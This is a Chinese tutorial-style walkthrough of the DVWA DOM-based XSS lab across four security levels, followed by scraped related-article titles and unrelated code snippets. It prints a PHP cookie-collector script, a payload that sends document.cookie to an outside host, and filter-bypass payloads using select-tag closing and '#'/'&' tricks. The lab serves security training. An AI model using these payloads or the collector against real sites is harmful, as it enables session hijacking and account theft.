XSS(Cross Site Scripting),跨站脚本攻击,能使攻击者在页面嵌入一些脚本代码,用户再访问,被诱导点击时,执行恶意脚本,常见为javascript,也有Flash、VBscript,常见于盗取cookie

DOM型XSS,是利用DOM树,DOM树就是HTML之间的标签,将标签闭合,注入<script></script>标签进行脚本的执行

LOW

审计源码



没有任何过滤

点击提交后可以看到default传参的内容为English



English改为<script>alert(document.cookie)</script>

成功弹出cookie,利用成功

反弹cookie

真正的窃取cookie不止这么简单,我们这里在Web服务器中写一个接收cookie并保存的文件

getcookie.php

<?php
$cookie = $_GET['cookie'];
fwrite(fopen('cookie.txt','a'),'Cookie : '.$cookie."\n");
?>



然后使用javascript获取cookie值,并访问getcookie.phpgetcookie.php会将cookie值保存到cookie.txt

首先测试访问getcookie.php是否正常

http://192.168.1.131/getcookie.php?cookie=nihao



查看是否生成cookie.txt



正常执行

default传入

default=<script>document.location='http://192.168.1.131/getcookie.php?cookie='+document.cookie</script>



执行后查看cookie.txt是否反弹成功

成功反弹

Meidum

审计源码


<?php // 检查是否有 default 的键名 ,判断 default 传参是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
// 获取 default 传参的值
$default = $_GET['default']; // stripos 查找字符串首次出现的位置(不区分大小写)
// 查找到返回 true ,查找不到返回 false
// 判断不能查找到 <script ,并且不区分大小写
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
} ?>

传参中不能含有<script,不过可以使用<img />标签,带上属性onerror='alert(document.cookie)'

测试default=<img src=1 onerror=alert(document.cookie)>



并没有弹窗,使用检查查看default的值传到了哪里



通过观察,传入的值在<option></option>标签中,尝试将传入</option>将标签闭合

default=</option><img src=1 onerror=alert(document.cookie)>



闭合后依然没有弹窗,再次检查查看default值传入了哪里



还是没有闭合,值依然在value中,尝试传入</select>闭合更外一层的<select>标签

default=</select><img src=1 onerror=alert(document.cookie)>



可以看到成功弹窗,检查查看是如何闭合的

Hihg

审计源码


<?php // 判断是否传入数据
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # 判断获取的 default 传入的值,只能是一下四种
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
// 默认选择 English
default:
header ("location: ?default=English");
exit;
}
} ?>

这里进行了一个白名单,只能是French、English、German、Spanish,否则无法执行

这里只是后端进行数据处理,将 default 的值传入页面使用的前段的javascript,前面的等级也是



从这里可以看出,将lang的值写入到页面中标签,value的值

所以,这里只要让后端检测不到即可

使用#,就可以绕过后端的检测,GET并不会获取到#号后面的内容,PHP认为#号后面注释的内容

测试default=English #<script>alert(/xss/)</script>

注意English后面时候空格的,如果不输入空格,会被当做default的值传入后端



当然&号也是可以的,&会被后端认为是另一个传参,也不会接收

default=English&<script>alert(document.cookie)</script>

&号前面是没有空格的,传参是紧密相连的

Impossible

审计源码



这里写到不做任何处理,在前段处理

查看前段代码



这里多了一个括号,这个括号就能阻止XSS了吗,我不相信

传入default=<script>alert(/xss/)</script>测试



可以看到这里没有对传入的特殊字符进行url解码,这样就过滤了<、/、#、&等特殊字符

DVWA-XSS (DOM) DOM型跨站脚本攻击的更多相关文章

  1. DVWA之DOM XSS(DOM型跨站脚本攻击)

    目录 Low Medium High Impossible Low 源代码: <?php # No protections, anything goes ?> 从源代码可以看出,这里low ...

  2. XSS CSS Cross SiteScript 跨站脚本攻击

    XSS攻击及防御 - 高爽|Coder - CSDN博客 https://blog.csdn.net/ghsau/article/details/17027893 XSS又称CSS,全称Cross S ...

  3. 渗透之路基础 -- 跨站脚本攻击XSS

    目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...

  4. WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...

  5. 跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...

  6. DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】

    XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强 ...

  7. 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  8. DVWA XSS (DOM) 通关教程

    DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...

  9. XSS(跨站脚本攻击)的最全总结

    从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...

  10. XSS(跨站脚本攻击)简单讲解

    1.1 XSS简介 跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码(一般是JS代码)到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意 ...

随机推荐

  1. js实现不同的域名 输出不同的结果

    js实现域名判断后跳转到指定网址,也适用于同一虚拟空间放多个网站: <script> try { if(self.location == "http://apple.baidu. ...

  2. CSS3-3D导航(transform:rotate)

    借助transform:rotate实现上图的3D导航效果 具体代码如下 1 <div class="nav"> 2 <ul> 3 <li> 4 ...

  3. flutter List使用

    _tabbarTitile.map((e){ return Tab( text: e, ); }).toList(),

  4. flutter 底部导航栏 BottomNavigationBar

    话不多说,上代码 import 'package:flutter/material.dart'; import 'package:flutter_zhihu/pages/tabs/homeTab.da ...

  5. C++ push_back()函数应用

    最近在学习Opencv,用C++写程序,做了一个虚拟画笔的项目,即通过摄像头采集视频图像信息,识别视频中的画笔,并画笔在空中的划痕显示在视频图像上.在进行到划痕显示的,由于视频是实时采集的,检测到的画 ...

  6. vue + antV G6 实现流程图完整代码 (antv G6 流程图)

    效果如下: 代码如下: <!DOCTYPE html> <html lang="en"> <head> <meta charset=&qu ...

  7. oracle表中增加字段sql

    declare v_Count1 int := 0; v_Count2 int := 0;begin select count(1) into v_Count1 from user_all_table ...

  8. kali linux|01.kali下安装Nessus

    Kali安装Nessus 说明 Nessus是一款基于插件的系统漏洞扫描和分析软件 一.安装 1.下载安装包 https://www.tenable.com/downloads/nessus 查看ka ...

  9. js 导出json文件

    var data={}//处理得到的json字符串 var filename = 'json.json'//json文件名 if(typeof data === 'object'){ ddd = JS ...

  10. DML操作数据

    添加数据 insert into 表名(列的名称)(数据);ps:列的名称用`  `包围可以减少出错 添加全部数据的时候可以把列的名称省略: 修改数据 update 表名  set 列名=数据,列名= ...